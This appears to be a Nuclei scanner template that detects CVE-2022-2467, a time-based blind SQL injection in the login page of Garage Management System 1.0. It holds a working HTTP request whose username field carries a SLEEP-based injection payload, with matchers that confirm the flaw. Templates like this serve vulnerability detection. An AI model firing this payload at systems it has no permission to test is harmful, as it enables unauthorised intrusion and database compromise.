id: CVE-2022-2467 info: name: Garage Management System 1.0 - SQL Injection author: edoardottt severity: critical description: | Garage Management System 1.0 contains a SQL injection vulnerability in /login.php via manipulation of the argument username with input 1@a.com' AND (SELECT 6427 FROM (SELECT(SLEEP(5)))LwLu) AND 'hsvT'='hsvT. An attacker can possibly obtain sensitive information from a database, modify data, and/or execute unauthorized administrative operations in the context of the affected site. reference: - https://github.com/xiahao90/CVEproject/blob/main/xiahao.webray.com.cn/Garage-Management-System.md - https://www.sourcecodester.com/php/15485/garage-management-system-using-phpmysql-source-code.html - https://nvd.nist.gov/vuln/detail/CVE-2022-2467 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-2467 cwe-id: CWE-89 metadata: verified: "true" tags: cve,cve2022,sourcecodester,garagemanagementsystem,sqli http: - raw: - | @timeout: 10s POST /login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded username=1@a.com' AND (SELECT 6427 FROM (SELECT(SLEEP(5)))LwLu) AND 'hsvT'='hsvT&password=412312&login=test2334 matchers-condition: and matchers: - type: dsl dsl: - 'duration>=5' - type: word part: body words: - 'Garage Billing Software' - type: status status: - 200 # Enhanced by mp on 2022/10/12